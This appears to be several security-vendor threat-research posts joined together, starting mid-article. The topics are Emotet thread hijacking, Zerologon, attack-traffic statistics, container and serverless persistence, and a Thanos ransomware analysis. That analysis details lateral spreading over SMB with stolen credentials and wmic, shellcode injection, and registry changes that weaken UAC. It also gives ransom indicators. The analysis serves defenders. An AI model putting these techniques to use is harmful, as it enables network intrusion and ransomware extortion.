Emotet uses HTTP POST requests over C2 traffic to send data collected from the infected host. This data is encoded or otherwise encrypted before it is sent over HTTP.
Most of these POST requests contain only a small amount of encoded data from the infected host, often much less than 1,000 bytes. These requests contain an extra 4 kB of data for padding and form header data. Figure 3 shows a typical example of Emotet C2 traffic from our case study.
Figure 3. Example of HTTP POST data from Emotet C2 traffic in our case study.
Since the amount of encoded data is so small, it does not contain any email chain data collected from the infected user’s email client. However, at 16:34 UTC, we find 13.9 kB of encoded data sent over Emotet HTTP C2 traffic as shown in Figure 4.
Figure 4. Approximately 13.9 kB of encoded data in Emotet C2 traffic at 16:34 UTC.
This amount is large enough to contain email chain data collected from the infected Windows host. It is the only significant amount of data sent in HTTP POST requests from the Emotet-infected host before we find the thread-hijacked email at 18:22 UTC.
Spoofed Message From Hijacked Email
At 18:22 UTC, a spoofed email was received by t****.h******@yahoo.com, the Yahoo account that had sent the most recent message in correspondence to the infected host. It contains an attached Word document with macros for Emotet. This message is shown in Figure 5, and we have loaded a copy of the spoofed email to GitHub.
Figure 5. Hijacked email sent from the Emotet botnet.
The message is a reply to t****.h******@yahoo.com that spoofs k*********.r*******@outlook.com from the infected host.
These thread-hijacked messages either have an attached file, or they have a link to download a malicious Word document with macros designed to infect a vulnerable host with Emotet.
Emotet’s thread-hijacked message from this case study spoofed the name in the sending address line from the infected host. Headers from the spoofed message indicate the actual sender may have been from a botnet host in Brazil, or a Brazil-based host may have been used to relay the message. Botnet hosts from all over the world are used to send these thread-hijacked messages from Emotet infections.
Figure 6. Header lines from hijacked message sent to t****.h******@yahoo.com.
These spoofed messages tend to be the most recent emails from a victim’s email client because those are the most likely to fool someone.
Of note, we cannot always assume the spoofed sending address is from an infected victim. If the original message from an infected victim has multiple recipients, a hijacked email could spoof one of the other recipients.
This case study shows an example of Emotet thread hijacking so we can better understand how Emotet malware utilizes this technique. Emotet is a very active threat that constantly updates its malware in an attempt to evade detection. This vector of infection can reach a great deal of potential victims.
However, organizations with effective spam filtering that follow best security practices have a much lower risk from this infection vector. Palo Alto Networks customers are further protected from this threat, because our Threat Prevention security subscription detects and prevents these types of Emotet infections. AutoFocus users can track Emotet activity using the Emotet tag.
When Unit 42 first introduced the concept of Adversary Playbooks, we used a sports analogy to describe how playbooks about specific threats could provide a picture of the adversarial opposition. The concept was straightforward. Threat actors used a playbook to launch attacks against your infrastructure, and network defenders utilized a playbook to defend it. The Adversary Playbook organizes the tactics, techniques and procedures (TTPs) of a particular adversary in a structured format, which can be shared with others and built upon. To accomplish this, we adopted the MITRE ATT&CK Framework and utilized the Structured Threat Information Expression (STIX) language and serialization format for structured information sharing. For several years, we have been releasing Adversary Playbooks derived from our internal intelligence analysis and research, so that anyone could utilize them to defend their networks better, learn about threat actor groups and gain a clearer understanding of the threats we all are facing. This allows you to make better strategic decisions around defense.
However, after a long thought process, we’ve decided to rename our Adversary Playbooks. Adversary Playbooks will now be called Actionable Threat Objects and Mitigations or ATOMs. This change is partly to acknowledge that not every threat we see is always about one specific adversary or threat group. We can develop a detailed picture of actions taken during threat activities, whether we have full campaign visibility or a unique malware set, even when a particular adversary is unknown.
In addition, almost every threat briefing we have ever given has led down a path toward conversations around security posture improvement and threat mitigation. We kept thinking to ourselves: Wouldn’t it be nice to take the intelligence we have of adversary activities and transform that into intelligence-driven security policy recommendations that customers could evaluate and use to improve their security posture? Organizations need a way to quickly diagnose if they are impacted by threats, find out what we are doing to protect them against new threats and determine what they must do to ensure they are protected. ATOMs can assist these customers in utilizing our products within their full capacity.
As such, Unit 42 has decided to introduce intelligence-driven Courses of Action (COA) into every ATOM package, allowing customers to see specific actions that can be used to address and mitigate the threat. With this strategic change, we felt that a nomenclature change was necessary and that the name ATOMs more appropriately represents the information provided. We have also moved the ATOM viewer directly into the Unit 42 website for added convenience.
Intelligence-Driven Courses of Action
Whenever we share our research, whether through a blog post, at a security conference or through direct conversations, we are often asked for more information. While these questions are primarily threat- or industry vertical-focused, the conversation’s main crux boils down to “How do I know that I’m protected?”
As a threat intelligence team, we know that in order to provide that answer, we have to break down the threat into the observed behaviors utilized by the adversary during their attempt to exploit or compromise. These behaviors are currently represented in our ATOMs by using the MITRE ATT&CK framework, which maps out a particular threat’s activities and stores those threat objects in STIX 2.0 format for ease of information sharing. This allows us to provide examples of high-level tactics used during attempts to exploit or compromise and the techniques they’ve used to achieve success.
Once these TTPs are broken down, we can translate these behaviors into security policy recommendations as a built-in security mapping solution depicted as a COA. This will help guide security teams with updating security configurations regarding whichever threat they are specifically concerned about.
Figure 1. ATOM Viewer example.
As an example, as shown in Figure 1, you can view all of the associated ATT&CK techniques that we have mapped out to any given threat. However, with the introduction of COA, you can now see security recommendations by clicking directly on the behavior you are interested in hardening against.
When you click on the first technique shown in Figure 1 under “Initial Access,” T1566.002: Spearphishing Link, you are presented with the recommended COA, organized by Palo Alto Networks product.
Figure 2. Example of Courses of Action in the ATOM viewer..
The COA help users understand how to utilize various Palo Alto Networks products to mitigate specific attack techniques. They are driven by threat intelligence and deep knowledge of best practices. These recommendations are available to review whenever Palo Alto Networks customers need to assess what to do next after hearing about new threats targeting their environment.
Threat Assessments and Actionable Threat Objects and Mitigations (ATOMs)
With these announced changes, we will be focusing more on generating Threat Assessments and publishing them on the Unit 42 website. For organizations to benefit from the latest research and the most up to date best practices and mitigation recommendations, we need to deliver timely, relevant and actionable intelligence that our customers and others can consume. We expect ATOMs and Threat Assessments to be vehicles everyone can use to identify and understand information about new threats and, at the same time, provide our customers with mitigation recommendations to simplify the hardening of their infrastructures on top of the protections and general best practices we currently offer.
The following Threat Assessments have been published to our website and linked to ATOM STIX 2.0 objects complete with COA:
Unit 42 has renamed the Adversary Playbooks to Actionable Threat Objects and Mitigations (ATOMs) and has directly relocated the ATOM viewer into the Unit 42 website. Furthermore, Unit 42 has enhanced the ATOM packages, introducing intelligence-driven security best practices and mitigation recommendations, mapped to MITRE ATT&CK techniques and presented as Courses of Action (COA), which allow consumers to understand more about the threat and how to mitigate it.
Each ATOM campaign provides indicators of compromise, the ATT&CK techniques utilized and COA for Palo Alto Networks products in one STIX 2.0 object deliverable that can easily be ingested for various purposes, whether for tactical defense, longer-term defense planning or simulating attacks.
The first part of our COA work identified the vehicle to get security best practices for specific threats delivered to the customer. We are currently working with our product teams to integrate the COA directly into our product environment, so that they are available within the interfaces that our customers now use and see.
In the future, we expect to be able to take newly identified threats, utilize the COA we align to that threat and report back to the customer. We can describe the potential impact of the threat, whether the customer is protected and through which products or services, and provide recommendations that can be used to address any weaknesses directly within each given product.
In August 2020, Microsoft released a security update, CVE-2020-1472 | Netlogon Elevation of Privilege Vulnerability, for a new elevation of privilege (EoP) vulnerability also known as "Zerologon." This vulnerability was given the highest Common Vulnerability Scoring System (CVSS) score of 10.0 and given a “critical” security rating from Microsoft.
This vulnerability exists within the Netlogon protocol. Exploitation of this vulnerability is possible due to a flaw in the implementation of the Netlogon protocol encryption, specifically AES-CFB8. The vulnerability is triggered by sending a string of zeros to the Netlogon protocol, hence its name, “Zerologon.” The flaw allows anyone on a network utilizing the Netlogon protocol to elevate their privileges to that of the domain administrator. This would allow an attacker access to the entire domain, opening up opportunities for further exploitation, data exfiltration, network disruption or whatever their objectives might be.
This vulnerability affects multiple Microsoft Windows Server operating systems.
Mitigation Actions for Zerologon
As always, we recommend our customers patch their systems as soon as possible. If you want to test your network for this vulnerability, you can use the Secura ZeroLogon testing script. Microsoft has provided a workaround to secure the Netlogon channel that is associated with this vulnerability by publishing guidance on how to manage the changes in Netlogon secure channel connections associated with the vulnerability.
Conclusion
The Palo Alto Networks Threat Prevention cloud-delivered security subscription provides protection against the exploitation of this vulnerability:
Cortex XDR can block this exploit starting with Cortex agent 7.2.1 and content PTU-153 using Behavioral Threat Prevent Engine (BTP) rule: bioc.sync.zerologon_exploit_rpc.
Next-Generation Firewalls will prevent exploitation of the vulnerability by detecting on the vulnerable Windows API (NetrServerAuthenticate3) with spoofed credentials. The relevant Threat ID is 59336.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
From May 1-July 21, 2020, Unit 42 researchers captured global network traffic from firewalls around the world and then analyzed the data to examine the latest network attack trends. The majority of attacks we observed were classified as high severity (56.7%), and nearly one quarter (23%) were classified as critical. The most common vulnerabilities exploited were CVE-2012-2311 and CVE-2012-1823, both command injection vulnerabilities in PHP CGI scripts. This indicates that attackers are looking for exploits with high impact.
We analyzed the network attacks in terms of the countries from which they originated. Of note, China overwhelmingly had the highest activity, followed by Russia and the United States. This may be in part because of the large population that China, Russia and the United States have, as well as the high amounts of internet use in those countries. Attacks may also appear to originate from countries that don’t correspond to the attackers’ physical locations: Some attackers use proxy servers and anonymizers to hide their locations. Indeed, it may be strategically advantageous for attackers to conduct their activities in a way that suggests their activity is emanating from other specific target countries.
Malicious activity was highest on Mondays, and fewer attacks were observed during the weekends and holidays. Many attackers also attempted to conceal their identities by using Tor and other anonymity services.
Palo Alto Networks customers are protected from network attacks by updating their Next-Generation Firewalls with the latest Threat Prevention signature releases.
Data Collection
All the data for our research was collected from a system designed for detecting false positives with our firewall signatures. The system aggregates threat triggers from specific firewalls in multiple geographic locations. Although it was originally developed for identifying false positives, we were able to utilize it for detecting potential false negatives by creating special types of signatures we call “test signatures.”
Unlike regular threat signatures, these test signatures have much broader coverage and are intended to detect general categories of vulnerabilities as well as the malicious network activity that is often observed from attackers during exploitation. In most cases, the triggers from these test signatures will overlap with our regular signatures and they will detect the same malicious activity. However, when they catch activity that is not detected by our regular signatures, we analyze them more closely to determine whether they are false negatives.
Due to the large volume of traffic that goes through our firewalls and attackers’ tendency to make repeated use of their exploits, we observed many triggers that were caused by similar network data. To make manual analysis more efficient, we grouped together these duplicate triggers so that HTTP requests with related attributes would not need to be examined more than once. The discoveries in this blog are based on the data we collected and analyzed between May 1 and July 21, 2020.
In addition to the trends presented here, these prior Unit 42 blogs were also written with the data collected for this project:
Every firewall signature has a level of severity assigned to it that indicates the possible impact of the threat. The majority of attacks we observed were classified as high severity (56.7%), and nearly one quarter (23%) were classified as critical. This indicates that attackers are more interested in utilizing exploits that result in high impact, such as completely compromising a web server through remote code execution (RCE) vulnerabilities.
Signatures with low and medium severity are used to detect scanning and brute-forcing attempts.
Figure 1. Severity distribution of attacks observed May 1-July 21, 2020
When Did the Attacks Occur?
We collected data for 81 days, and we discovered that the largest number of attacks occurred during the week of June 26, with major attacks including exploits of CVE-2012-2311 and CVE-2012-1823. While the frequency of critical attacks was mostly consistent, the frequency of attacks with medium and high severity fluctuated much more.
Figure 2. Severity distribution of observed attacks measured biweekly.
Attackers also made frequent use of newer vulnerabilities – disclosed within the past year. This highlights the importance of applying security patches as soon as they become available to provide protection against the most recently discovered vulnerabilities.
Figure 3. Observed attacks, broken down by the year in which the exploited CVE was disclosed, measured biweekly.
Where Did the Attacks Originate?
After identifying the country from which each network attack originated, we discovered that by far the largest number of them originated from China, followed by Russia and the United States. This may be in part because of the large population that China, Russia and the United States have, as well as the high amounts of internet use in those countries. Note that the countries that we observe don’t necessarily correspond to the physical location of the attackers. Attackers might use proxy servers and anonymizers to add extra hops to hide their locations. We will elaborate on the usage of proxy servers and anonymizers in the next section.
Figure 4. Attack geolocation distribution.Figure 5. Locations ranked in terms of how frequently they were the origin of observed attacks.
Domain Category Analysis
We collected the domain information from two sources: (1) host name and request URL from the network traffic and (2) reverse DNS domain names from the source and destination IP addresses. For each domain name, we use the existing Palo Alto Networks URL Filtering Service to map the domain name to a category. The idea is to look at the domain category to get more information about the types of domains that network attacks are associated with (Figure 6).
Figure 6. Types of domains that network attacks are associated with. The lefthand pie chart shows an overall breakdown, while the righthand pie chart presents a closer view of the 11.80% of attacks signified in orange on the left.
From Figure 6, we can see that 45.07% of the traffic we observed comes from malicious domain names. For the rest of the traffic, attacks are embedded in legitimate websites as redirected URLs. One interesting thing to notice is that 8.82% of the traffic falls into the proxy-avoidance-and-anonymizers domain category, which suggests the usage of proxy services or anonymity services for attacks to hide their original source. Tor is one of the most famous open-source anonymizers, which can help direct network traffic through volunteer overlay nodes and hide the original source addresses. The CVE analysis section on CVE-2012-2311 below shows evidence of the usage of Tor.
CVE Analysis
When a signature is designed to protect against a certain vulnerability, it will have a CVE number associated with it. After analyzing the data, we discovered the top 10 most common CVE numbers involved are:
Figure 7. Top 10 CVE distribution.
Attackers can exploit the vulnerabilities in CVE-2012-2311 and CVE-2012-1823 to execute arbitrary code on the victim machines. Specifically,
CVE-2012-2311: php-cgi in some PHP versions (before 5.3.13, and 5.4.x before 5.4.3) does not properly handle query strings that contain a %3D sequence but no “=” character, which allows remote attackers to execute arbitrary code by placing command-line. This vulnerability exists because of an incomplete fix for CVE-2012-1823.
CVE-2012-1823: php-cgi in some PHP versions (before 5.3.12, and 5.4.x before 5.4.2) does not properly handle query strings that lack an “=” character, which allows remote attackers to execute arbitrary code by placing command-line.
Figure 8 shows the top 10 locations where attacks exploiting CVE-2012-2311 and CVE-2012-1823 come from. Note that the locations shown for attacks in the figure don’t necessarily correspond to the physical location of the attackers. Attackers might use proxy servers and anonymizers to add extra hops to hide their locations.
Figure 8. Top 10 locations where attacks exploiting CVE-2012-2311 and CVE-2012-1823 come from.
We also looked at the reverse DNS domain analysis on CVE-2012-2311 and CVE-2012-1823 related traffic. We found that Tor IP addresses were used in some of the traffic. In these cases, attackers commonly used Tor to hide source address and geolocation information. It can also be used to evade detection based on IP address/domain blacklisting. Here are some example reverse DNS records from the traffic:
Figure 9. Tor domain names used by attackers exploiting CVE-2012-2311 and CVE-2012-1823 in the malicious traffic collected in our research.
Besides the usage of anonymizer services like Tor, we also found that some source domains belong to dynamic DNS. Dynamic DNS domains are widely used by attackers to evade static detection by generating fast-changing IP-domain mappings. Also, dynamic DNS services are mostly free or cheaper than normal DNS domain names.
Figure 10. Dynamic DNS usage in attacks exploiting CVE-2012-2311 and CVE-2012-1823.
We also looked at the traffic to see if there are any typical timing patterns used by attacks exploiting CVE-2012-2311 and CVE-2012-1823. After adjusting the time zone of where attacks were detected to the local time zone where they originated, we can see that Monday was the most common day of activity, while Saturday and Sunday were the least common.
For example, here is a local time analysis on the top three locations (China, Hong Kong and Thailand) from which attacks originated:
Figure 11. Local weekday statistics of attacks exploiting CVE 2012-2311 and CVE-2012-1823 originating from China.Figure 12. Local weekday statistics of attacks exploiting CVE 2012-2311 and CVE-2012-1823 originating from Hong Kong.Figure 13. Local weekday statistics of attacks exploiting CVE 2012-2311 and CVE-2012-1823 originating from Thailand.
Figures 11-13 show the statistics of attacks exploiting CVE-2012-2311 and CVE-2012-1823 originating from China, Hong Kong and Thailand. We can see that the number of attacks are different across each day of the week. The data shows that Monday tends to have more attacks than the rest of the week.
Conclusion
Taken together, our data shows that attackers clearly prioritize high severity attacks, likely in search of high impact. The most active countries from which attacks originate are China, Russia and the U.S. Though 2012 was eight years ago, some exploits based on vulnerabilities disclosed that year are still active today because it remains feasible to exploit them. This underscores the need for organizations to patch promptly and implement security best practices. Some possible mitigations include:
Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention signatures.
Seasoned attackers will tell you that persistence is an important part of any successful hacking campaign. Persistence allows attackers to maintain continuous control of their captured servers. Whether they are hijacking resources, exfiltrating data or using their target machines as proxies, attackers always face the risk of having their treasured vulnerabilities patched and sealed, eliminating their way in. The shift from traditional computing to technologies like containers and serverless has made persistence harder to obtain, thanks to the transient nature and strong isolation mechanisms of these technologies.
Palo Alto Networks customers are protected from these attacks by Prisma Cloud, which successfully detects and mitigates vulnerabilities as well as using Prisma Cloud Compute’s extensive audits and runtime defense features to catch adversaries attempting to obtain persistence on their machines.
Containers and Serverless Limit Attackers
Mitigating vulnerabilities is often the main focus of container and serverless security audits. Security auditors scan for all known vulnerabilities in running containers and in images to prevent any flaw that malicious actors could exploit. Yet even the most careful and pedantic security review cannot detect zero-day vulnerabilities that some sophisticated adversaries might be lucky to own.
For that reason, successful security models include multiple layers of defense. Attackers who manage to gain an initial foothold are hindered by runtime protections, limited privileges and confined access to resources such as computing, memory and networking. What is the adversary able to achieve upon successfully exploiting a vulnerability? In what ways could attackers exfiltrate data or impact services?
This is where containerized environments and serverless have an inherent benefit over traditional computing. Containers are limited in their function and privilege by design. They are temporary and disposable, and their resources can be easily controlled. Serverless functions are even further limited in their scope. They are only executed on call and are often designed with limited privileges and access to resources.
Persistence, a Challenge
Certainly, attackers may have a hard time leveraging breached containers or serverless functions to their use. But obtaining persistence over these instances may prove to be an even larger challenge.
Let us briefly discuss the idea of persistence. Through successful exploitation, attackers may gain temporary access to a target machine and use it for their benefit. They could run cryptominers or extract data. But soon enough, the vulnerability that let them in may be patched. In order to retain control of the machine – and their payload – attackers must find a way to base their presence in that machine. Persistence can be achieved through simple, passive methods, such as editing configurations, or by more active methods such as installing or modifying binaries and libraries. The attackers may have their code run on the machine periodically, at every boot or on their demand, thus providing them access to the machine even if their initial entry method is mitigated. This piece of code or configuration that lets the attackers back in is called a backdoor, and they may control it through their own machine or through a command and control (C2) server connected to a horde of infected machines.
Now let’s take a look at containers. As a rule of thumb, containers are meant to be short-lived. Many containers have a lifespan from a few hours to a couple of days. Even in the rare cases where containers are being used for indefinite periods, such as to replace permanent virtual machines (VMs), they are disposed of and relaunched every time there is an update or change to the container image. Container orchestrators such as Kubernetes rely on that concept to the core, spinning up containers automatically on a large scale.
Container Persistence
With containers being ephemeral, the traditional methods that attackers use to obtain persistence are only partially effective. Methods such as installing cron jobs, modifying binaries or making other changes to files would only last until the container is shut down.
Creative attackers might try to find non-standard ways to persist in containers by exploiting the architecture specific applications are built in. For example, if the container does anything like run code from persistent storage (such as volumes or bind mounts) or a database, the attacker can hook on that functionality and install their backdoor in these external devices. Misconfigurations such as excessive container capabilities, or exposed credentials and API keys are also likely to be exploited by the attackers in search of persistence.
Nevertheless, how can attackers obtain persistence in standard containers when security is configured by the book? To escape the boundaries of the container environment, they must exploit vulnerabilities in its heart. That is, they must exploit either the operating system (OS) kernel, the container runtime or the orchestrator.
It is possible that established and well-funded attackers will have a zero-day vulnerability that can help them accomplish this. But it is not always needed. If their target runs outdated software, they could be successful with known past vulnerabilities that allow escaping a container. There are numerous publicly known vulnerabilities in the Linux kernel and kernel modules that allow attackers to execute code in the kernel scope, or otherwise escape a container’s limitations.
Vulnerabilities in the container implementation, such as in Docker or runC, could also let the attacker escape and obtain persistence on the container host. One famous example from recent times is CVE-2019-5736, which would allow attackers to escape a container when the exec command is run. Other vulnerabilities discovered in the past would allow full escape with zero user interaction once an attacker landed in a container. One example is the recently disclosed Windows container escape.
Figure 1. Potential attack surfaces for container persistence (simplified).
Serverless Persistence
Despite their similarities to containers, serverless functions expose fewer attack vectors through which they can be compromised. Serverless functions run in a controlled environment, provided by the serverless platform. The scope of each function is limited to parsing its input and completing its action. Everything else from networking to storage is handled by the cloud provider. In order to attack a serverless function when lacking any misconfigurations to exploit or a vulnerability in the cloud provider itself, an attacker must find either a flaw in the function code or a vulnerability in any package used by that code.
For example, a function running a Python handler to parse YAML data would be vulnerable to flaws in its YAML parsing package and its dependencies. The attacker could invoke the function with data that triggers the exploit and gain control of that function’s execution environment.
The environment exposed to a successful attacker is rather limited. The actual privileges and restrictions the attacker would encounter depend both on the nature of the vulnerability and on the architecture of the serverless platform. But one thing that is universal for serverless functions is that their lifespan is short.
Serverless functions are expected to run for a few seconds, complete their objective and diminish, until a new instance starts up when called for again. Not only that, but the runtime environment in which the serverless functions run is also temporary. The Amazon Web Services (AWS) Lambda runtime, for instance, lasts approximately 15 minutes when left untriggered.
In a recent article on AWS Lambda persistence, Unit 42 researcher Yuval Avrahami demonstrated that an attacker could persist in the serverless environment between function invocations. An attacker could successfully control the handler results and leak the data from multiple executions.
In order to obtain real persistence, however, the attacker would have to prevent the AWS framework from taking down the instance being controlled. This can be achieved by continuously delivering requests to the function, a process sometimes referred to as keeping the function “warm.”
By invoking the function periodically in a pattern, the attacker would likely increase the chance of the compromised function being detected. Therefore, sophisticated attackers would have to come up with additional methods to obfuscate their intent. Even so, such a scenario is not far-fetched.
Conclusion
Both containers and serverless functions limit malicious actors from achieving persistence, each with its own constraints. Successful attackers would either have to settle for temporary execution, or find ways to break out of the container or function sandbox to get real persistence. While the same constraints can be applied to traditional VMs as well, it is likely that they are not designed to be ephemeral like containers or serverless functions.
From a defensive point of view, this makes both containers and serverless convenient for continuous security. Breached containers or functions can be easily detected and disposed of, while new patched code could rapidly be pushed to retain functionality.
On July 6 and July 9, 2020, we observed files associated with an attack on two state-run organizations in the Middle East and North Africa that ultimately installed and ran a variant of the Thanos ransomware. The Thanos variant created a text file that displayed a ransom message requesting the victim transfer “20,000$” into a specified Bitcoin wallet to restore the files on the system. We do not have visibility into the overall impacts of these attacks or whether or not the threat actors were successful in receiving a payment from the victims.
Figure 1. Thanos’ ransom note displayed after encrypting files.
The ransomware was also configured to overwrite the master boot record (MBR), which is an important component loaded on a system’s hard drive that is required for the computer to locate and load the operating system. The ransomware overwrites the MBR to display the same ransom message as the previously mentioned text file, which is a technique we do not see often. The most notable example we’ve observed involved the Petya ransomware in 2017. Overwriting the MBR is a more destructive approach to ransomware than usual. Victims would have to expend more effort to recover their files – even if they paid the ransom. Fortunately, in this case, the code responsible for overwriting the MBR caused an exception because the ransom message contained invalid characters, which left the MBR intact and allowed the system to boot correctly. This means that even though the ransomware was configured to overwrite the MBR, the threat actors were unsuccessful in causing the computers they infected with the Thanos ransomware not to boot.
Figure 2. Thanos’ ransom note displayed if MBR overwrite was successful.
The Thanos ransomware was first discussed by Recorded Future in February 2020 when it was advertised for sale on underground forums. The Thanos ransomware has a builder that allows actors to customize the sample with a variety of available settings. The fact Thanos is for sale suggests the likelihood of multiple threat actors using this ransomware. However, we believe with high confidence that the same actor used a Thanos variant in attacks on two state-run organizations in the Middle East and North Africa.
Based on our telemetry, we first observed Thanos on Jan. 13, 2020, and have seen over 130 unique samples since. We believe the threat actors had prior access to these organizations’ networks, as the samples contained credentials that we believe the actors had stolen from systems on these organizations’ networks prior to the delivery of the ransomware.
This particular attack involved multiple layers of PowerShell scripts, inline C# code and shellcode in order to load Thanos into memory and to run it on the local system. These layers were largely based on code freely available in open source frameworks, such as Sharp-Suite and Donut. One of the layers involved a custom PowerShell that was responsible for spreading Thanos to other systems on the local network using previously mentioned stolen credentials.
We analyzed this specific Thanos sample that the actors built for the Middle Eastern and Northern African state-run organizations. We determined that the ransomware was loaded into and run from within memory at these organizations. We found the Thanos variant is functionally very similar to the variant discussed by Fortinet in July 2020. The sample analyzed by Fortinet also contained network-spreading functionality enabled, which included network credentials from another state-run organization in the same municipality as the Middle Eastern state-run organization we observed. The sample analyzed by Fortinet included the same Bitcoin wallet and contact email that we observed. When combined with the targeting of an organization in the same municipality in a similar time frame, this suggests a common actor behind these attacks.
Palo Alto Networks customers are protected from the attacks discussed in this blog by WildFire, which correctly identifies all related samples as malicious, and Cortex XDR, which blocks the components involved in this ransomware infection.
Overview of Thanos Variant Activity
We do not know how the actors delivered the Thanos ransomware to the two state-run organizations in the Middle East and North Africa. However, we know the threat group behind the use of these tools had previous access to these networks as they had already obtained valid credentials from the networks. The exact same Thanos sample was used at both of these organizations, which suggests that the same actor created the sample using the Thanos builder.
The Thanos sample created for these networks executes several layers before the .NET Thanos ransomware runs on a system, specifically using code from several open source frameworks. The layers start at the top with a PowerShell script that not only loads another PowerShell script as a sub-layer, but also attempts to spread the ransomware to other systems on the network using previously stolen credentials. The PowerShell in the second layer does nothing more than load embedded C# code inline so the initial PowerShell script can execute it. The C# code is the third layer, and it is based on UrbanBishop, which is publicly available as part of the Sharp-Suite framework on GitHub. The UrbanBishop code is responsible for writing shellcode to a remote process and executing it, of which the shellcode is the final layer before running the Thanos ransomware. The shellcode in this case was created by Donut, which is another open source framework that will generate shellcode that can load and execute .NET assemblies in memory.
Figure 3. Layers executed to run the Thanos ransomware on the system.
PowerShell Spreader
The PowerShell spreader, which we call LogicalDuckBill, has two primary purposes:
Loading and running the Thanos ransomware.
Spreading to other systems by copying itself to and executing itself on remote systems.
The loader functionality within LogicalDuckBill starts with a base64 encoded PowerShell script that it will decode and run using the IEX command. The PowerShell decoded and executed contains the following code, which effectively loads C# code based on UrbanBishop that LogicalDuckBill will call later to inject shellcode:
$code = @"
[C# code based on UrbanBishop]
"@
Add-Type -TypeDefinition $code -Language CSharp
LogicalDuckBill will then check to see if a file named “logdb.txt” or “logdb.txt.locked” exists in the “c:\” drive before running, which is the method the spreader uses to be sure to only run one instance of the embedded ransomware on each system. We also observed another related sample that looked for “logdbnnn.txt” instead, which is why we call this script LogicalDuckBill. If these files are not present, LogicalDuckBill will write “1” to this text file and then continue to carry out its functionality.
LogicalDuckBill then creates a “notepad.exe” process, which it will then iterate through running processes to find the process ID (PID) of the created “notepad.exe” process. With the PID of the notepad process, the PowerShell script calls the “Do” method in the loaded C# code based on UrbanBishop, which ultimately injects shellcode generated by the Donut framework into the notepad process and executes it. The shellcode then decrypts and loads an embedded .NET executable into memory and executes it, which is the Thanos ransomware payload.
The spreader functionality of LogicalDuckBill starts with the script using the Get-NetTCPConnection cmdlet to get the remote addresses of the current TCP connections on the system. The code then looks through these remote addresses for those that start with 10., 172. and 192. as the first octet and will iterate through each discovered network by changing the last octet from 1 to 254 in a loop. For each iteration, the script will use the Test-NetConnection cmdlet to see if the script can connect to each remote system over SMB port tcp/445, and if it can, it uses the net use command to connect to the remote system with previously stolen credentials and mounts the remote system’s C: drive to the local system’s X: drive. The script then uses the copy command to copy itself to the newly mapped X: drive, which effectively copies LogicalDuckBill to the remote system. The script will then use wmic to run process call create on the remote system to run the newly copied LogicalDuckBill sample on the remote system. The spreading functionality finished each iteration by deleting the mapped drive, all of which is carried out by the following code:
This spreading method in LogicalDuckBill is similar to one found within Thanos’ C# code. However, using the PowerShell script to spread allowed the actors to include previously stolen network credentials when creating the mapped drive and when running the copied PowerShell script using wmic.
Thanos Ransomware
The Thanos ransomware was first observed by Recorded Future in February 2020 when it was advertised for sale on underground forums. The Thanos ransomware has code overlaps with other ransomware variants, such as Hakbit, and has a builder that allows the user to customize the sample with a variety of available settings. This ransomware appears to be still under active development, as we observed newly added functionality in the samples built to run on the Middle Eastern and Northern African state-run organizations compared to the original samples analyzed by Recorded Future. In fact, the Thanos ransomware built to run on these two organizations’ networks was closer in available functionality to the variant discussed by Fortinet in July 2020. The most obvious difference is that the disabling of safe boot discussed by Fortinet is not available in these samples.
Like other Thanos ransomware samples, the variant built to run on these two organizations’ networks uses a 2048-bit RSA public key to encrypt files whose file extensions match those listed in Table 1. After encrypting the file’s contents, Thanos will add the file extension “.locked” to the file on disk.
dat
ppt
mdb
odg
backup
aiff
txt
doc
dbf
raw
pdf
flac
jpeg
docx
odb
nef
cert
m4a
gif
sxi
myd
svg
docm
csv
jpg
sxw
php
psd
xlsm
sql
png
odt
java
vmx
dwg
ora
php
hwp
cpp
vmdk
bak
mdf
cs
tar
pas
vdi
qbw
ldf
cpp
bz2
asm
lay6
nd
ndf
rar
mkv
key
sqlite3
tlg
dtsx
zip
eml
pfx
sqlitedb
lgb
rdl
html
msg
pem
accdb
pptx
dim
htm
ost
p12
java
mov
mrimg
xlsx
pst
csr
class
xdw
qbb
xls
edb
gpg
mpeg
ods
rtf
avi
sql
aes
djvu
wav
7z
mp4
accdb
vsd
tiff
mp3
Table 1. List of extensions of files that Thanos will encrypt.
This variant of Thanos writes a ransom note to a file named “HOW_TO_DECYPHER_FILES.txt” to the desktop and all of the folders that contained files that Thanos encrypted. The ransom note, as seen in Figure 2, requests “20,000$” worth of Bitcoin be transferred to a wallet “1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9” and a contact email of “josephnull@secmail.pro” to recover the encrypted files. The contact email and Bitcoin wallet ID were seen by other researchers and organizations in July 2020, as seen in the .HTA ransom note displayed in Fortinet’s blog and several tweets.
The features and functionality within the Thanos ransomware have been analyzed by other organizations. Instead of rehashing this analysis, we will only discuss the functionality that was enabled within this variant of Thanos that had not been discussed previously. However, we delineate which previously discussed functionalities are disabled and enabled in this variant of Thanos in Tables 2 and 3 respectively.
Max. File Size
Protect Process
Disable FAC
Persistence - Melt
Wallpaper
Static Pass
Deceiving Msg
Immortal Process
RIPlace
Unlock Files
FTP Logger
Data Stealer
Anti-VM
Wake-on-LAN
Max. Steal Size
Delay
Delayed Activation
Alternate Algo
AMSI Bypass
Client Expiration
Drag and Drop
Table 2. Disabled functionality, which are likely unchecked boxes on the Thanos ransomware builder user interface (UI).
Kill Defender
Fast Mode
Enhanced Notifications
LAN
AntiKill
Customize Notifications
Table 3. Enabled functionality, which are likely checked boxes on the Thanos ransomware builder UI.
The first configuration option enabled that doesn't match the analysis of previous variants of Thanos starts with the code trying to disable User Account Control (UAC) by setting the keys "LocalAccountTokenFilterPolicy" and "EnableLinkedConnections" in SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System to 1. It then attempts to enumerate local and mapped storage volumes. To enumerate the local volumes, the code creates and runs a batch script that is almost exactly the same as the batch script used by Ragnar Locker ransomware to enumerate the local storage volumes. Ragnar Locker used this script to create a VirtualBox configuration file that sets these volumes as SharedFolders, which allows Ragnar Locker to access the local storage volumes while it runs within a VirtualBox virtual machine, as discussed by Sophos. The Thanos implementation does not write the results to a VirtualBox configuration file. Instead, it just prints the configuration to the screen, but does not save the output. Therefore, we cannot be certain of the purpose of this functionality.
